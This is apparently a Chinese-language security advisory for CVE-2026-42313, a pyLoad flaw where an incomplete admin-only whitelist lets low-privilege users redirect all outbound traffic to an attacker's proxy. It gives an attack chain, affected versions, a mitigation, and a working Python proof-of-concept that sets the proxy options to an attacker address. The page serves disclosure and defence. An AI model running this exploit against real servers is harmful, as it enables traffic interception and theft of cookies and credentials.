IPBUF安全漏洞报告
English
CVE-2026-42313 CVSS 8.3 高危

CVE-2026-42313 pyLoad代理配置劫持漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42313
漏洞类型
权限提升
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
pyLoad

相关标签

权限提升pyLoad代理劫持配置错误CVE-2026-42313

漏洞概述

pyLoad在0.5.0b3.dev100之前的版本中存在权限提升漏洞。由于`set_config_value` API的防护白名单遗漏了代理的关键配置项,拥有SETTINGS权限的非管理员用户可以修改代理设置,将所有出站流量劫持到攻击者控制的服务器,导致数据泄露或中间人攻击。

技术细节

漏洞位于`src/pyload/core/api/__init__.py`的`set_config_value`方法中。该方法依赖手动维护的`ADMIN_ONLY_CORE_OPTIONS`白名单来限制对敏感选项的修改。虽然白名单包含`proxy.username`和`proxy.password`以保护凭证,但遗漏了`proxy.enabled`、`proxy.host`、`proxy.port`和`proxy.type`。攻击者只需具备`SETTINGS`权限(无需管理员权限),即可通过API调用修改这些被遗漏的选项,启用并指向恶意代理。这使得pyLoad的所有出站HTTP请求(包括下载、验证码获取、更新检查和插件调用)都被透明地重定向,攻击者可拦截敏感数据或篡改服务器响应。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统运行的是存在漏洞的pyLoad版本(< 0.5.0b3.dev100)。
STEP 2
2. 获取低权限账户
攻击者注册或获取一个普通用户账户,该账户仅需具备SETTINGS权限,无需管理员权限。
STEP 3
3. 利用漏洞修改配置
攻击者向`set_config_value` API发送请求,修改`proxy.enabled`、`proxy.host`、`proxy.port`等配置项,将其指向攻击者控制的服务器。
STEP 4
4. 流量劫持
pyLoad实例开始将所有出站流量(下载、更新、插件通信)通过攻击者的代理转发。
STEP 5
5. 数据窃取或篡改
攻击者拦截并记录敏感数据(如Cookie、凭证),或者向pyLoad客户端注入恶意响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration TARGET_URL = "http://<target-host>:8000" USERNAME = "low_priv_user" PASSWORD = "password" # Attacker controlled proxy settings ATTACKER_HOST = "192.168.1.100" ATTACKER_PORT = "8080" def exploit(): session = requests.Session() # Step 1: Authenticate as a user with 'SETTINGS' permission login_payload = {"username": USERNAME, "password": PASSWORD} login_resp = session.post(f"{TARGET_URL}/api/login", json=login_payload) if login_resp.status_code != 200: print("Login failed") return # Step 2: Exploit the incomplete whitelist to set proxy configuration # The API set_config_value takes category, option, and value. # The whitelist blocks ('proxy', 'username') but misses ('proxy', 'host'). proxy_settings = [ {"category": "proxy", "option": "type", "value": "http"}, {"category": "proxy", "option": "host", "value": ATTACKER_HOST}, {"category": "proxy", "option": "port", "value": ATTACKER_PORT}, {"category": "proxy", "option": "enabled", "value": "True"} ] for setting in proxy_settings: payload = { "category": setting["category"], "option": setting["option"], "value": setting["value"] } # Bypassing the intended access control resp = session.post(f"{TARGET_URL}/api/set_config_value", json=payload) if resp.status_code == 200: print(f"[+] Successfully set {setting['category']}.{setting['option']} to {setting['value']}") else: print(f"[-] Failed to set {setting['category']}.{setting['option']}") print("\n[!] Exploit complete. Outbound traffic is now routed through the attacker's proxy.") if __name__ == "__main__": exploit()

影响范围

pyLoad < 0.5.0b3.dev100

防御指南

临时缓解措施
如果无法立即升级,请确保撤销所有非管理员用户的SETTINGS权限,防止其修改系统配置。

参考链接